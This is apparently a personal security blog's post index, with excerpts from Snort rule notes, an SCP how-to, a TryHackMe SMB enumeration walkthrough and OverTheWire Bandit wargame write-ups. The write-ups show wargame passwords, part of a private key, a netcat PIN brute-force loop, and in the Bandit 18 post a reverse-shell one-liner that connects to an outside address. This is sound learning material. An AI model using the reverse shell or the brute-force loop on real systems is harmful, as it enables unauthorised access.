Skip to main content

Posts

Snort Challenge - The Basics

Rules Ive Used # This file intentionally does not come with signatures.  Put your local # additions here. # alert icmp any any <> any any (msg: "IP ID 35369 Found"; id:35369; sid: 1000001; rev:1) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:S;  sid: 1000001; rev:1;) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:P,A;  sid: 1000001; rev:1;) # log ip any any <> any any (msg: "SAME-IP IN IP"; sameip; sid:1000001; rev:1;)#This was not used in the first snort, they only wanted the next 2 rules, which showed less dups log udp any any <> any any (msg: "SAME-IP IN TCP"; sameip; sid:1000001; rev:1;) log tcp any any <> any any (msg: "SAME-IP IN UDP"; sameip; sid:1000002; rev:1;)  Snort Params: Some Sniffer mode parameters are explained in the table below; Parameter Description -v Verbose. Display the TCP/IP output in the console. -d Display the packet data (payload). -e Display...

How To SSH File Transfer

Remember SCP Just use SCP Linux  Download $ scp -r user@ssh.example.com:/path/to/remote/source /path/to/local/destination Upload  $ scp -r /path/to/local/source user@ssh.example.com:/path/to/remote/destination  https://stackabuse.com/copying-a-directory-with-scp/     Windows local(win)->remote(unix): scp -P 1688 "D:\MEGA\ps.key" nick@192.168.88.242:/home/nick/ps.key remote->local (copy from remote host): scp -P 1688 nick@192.168.88.242:/home/nick/ps.key "D:\MEGA\ps.key" https://unix.stackexchange.com/questions/92715/can-i-transfer-files-using-ssh

Network Services

Network Services https://tryhackme.com/room/networkservices 3. Enumerating SMB Conduct an nmap scan of your choosing, How many ports are open? running nmap 10.10.197.190 results in PORT STATE SERVICE 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 02:21:CD:94:98:F5 (Unknown) Show/Hide What ports is SMB running on? 139/445 Show/Hide this is the known default values for SMB Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name? WORKGROUP Show/Hide looking at the rest of the info from enum4linux -a 10.10.197.190 ill summarize here ========================== | Target Information | ========================== Target ........... 10.10.197.190 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================================...

Bandit 24 Over The Wire

Lessons Learned writing bash scripts that can brute force pins Logging in On a kali vm/ linux machine Type: ssh bandit24@bandit.labs.overthewire.org -p 2220 UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ Completing The Challenge The Goal: A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. The Solution: create a file in the /tmp folder, fill in the folder with the following: for ((i=1000; i < 10000; i++)); do         echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" done | nc localhost 30002 In this code i looked up for loops, but i ended up looking up what to do to get a for loop on netcat, someone gave an answer with no context on Stack Overflow and it was the first result. a much better link is http://www.softpanorama.org/Scripting/Shellorama/Co...

Bandit 23 Over The Wire

Lessons Learned understanding more complicated bash scripts and writing bash scripts to take advantage of automated processes Logging in On a kali vm/ linux machine Type: ssh bandit23@bandit.labs.overthewire.org -p 2220 jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n  Completing The Challenge The Goal: A program is running automatically at regular intervals from cron , the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. The Solution: bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24 @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh #!/bin/bash myname=$(whoami) cd /var/spool/$myname echo "Executing and deleting all scripts in /var/spool/$myname:" for i in * .*; do     if [ "$i" != "." -a "$i" != ".." ];     then         echo "Handling $i...

Bandit 22 Over the Wire

Lessons Learned understanding more complicated bash scripts Logging in On a kali vm/ linux machine Type: ssh bandit22@bandit.labs.overthewire.org -p 2220 Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI Completing The Challenge The Goal: A program is running automatically at regular intervals from cron , the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. The Solution: bandit22@bandit:~$ ls /etc/cron cron.d/       cron.hourly/  crontab        cron.daily/   cron.monthly/ cron.weekly/   bandit22@bandit:~$ ls /etc/cron cron.d/       cron.hourly/  crontab        cron.daily/   cron.monthly/ cron.weekly/   bandit22@bandit:~$ ls /etc/cron.d/ cronjob_bandit15_root  cronjob_bandit22  cronjob_bandit24 cronjob_bandit17_root  cronjob_bandit23  cronjob_bandit25_root bandit22@ba...

Bandit 21 Over The Wire

Lessons Learned reading other peoples bash scripts Logging in On a kali vm/ linux machine Type: ssh bandit21@bandit.labs.overthewire.org -p 2220 gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr Completing The Challenge The Goal: A program is running automatically at regular intervals from cron , the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. The Solution: bandit21@bandit:~$ ls /etc/cron.d/ cronjob_bandit15_root  cronjob_bandit17_root  cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  cronjob_bandit25_root bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22 @reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh #!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv bandit21@bandit:~$ cat /tmp/t7O6lds9S0R...

Bandit 20 Over The Wire

Lessons Learned using nc to create a steady connection, also on background and foreground processes Logging in On a kali vm/ linux machine Type: ssh bandit20@bandit.labs.overthewire.org -p 2220 GbKksEFF4yrVs6il55v6gwY5aVje5f0j Completing The Challenge The Goal: There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). The Solution: bandit20@bandit:~$ nc -l -p 2000 ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ ./suconnect 2000 ^Z [2]+  Stopped                 ./suconnect 2000 bandit20@bandit:~$ fg 1 nc -...

Bandit 19 Over The Wire

Lessons Learned some files change your euid/ effective user id, which allows you to act as another user through them. Logging in On a kali vm/ linux machine Type: ssh bandit19@bandit.labs.overthewire.org -p 2220 IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Completing The Challenge The Goal: To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary. The Solution: bandit19@bandit:~$ id uid=11019(bandit19) gid=11019(bandit19) groups=11019(bandit19) bandit19@bandit:~$ ./bandit20-do id uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)  bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20 GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Bandit 18 Over The Wire

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1  

Bandit 17 Over The Wire

Lessons Learned Using diff to find differences in files Logging in On a kali vm/ linux machine Type: ssh bandit16@bandit.labs.overthewire.org -p 2220 cluFn7wTiGryunymYOu4RcffSxQluehd Starting in Bandit16: -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama +TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwU...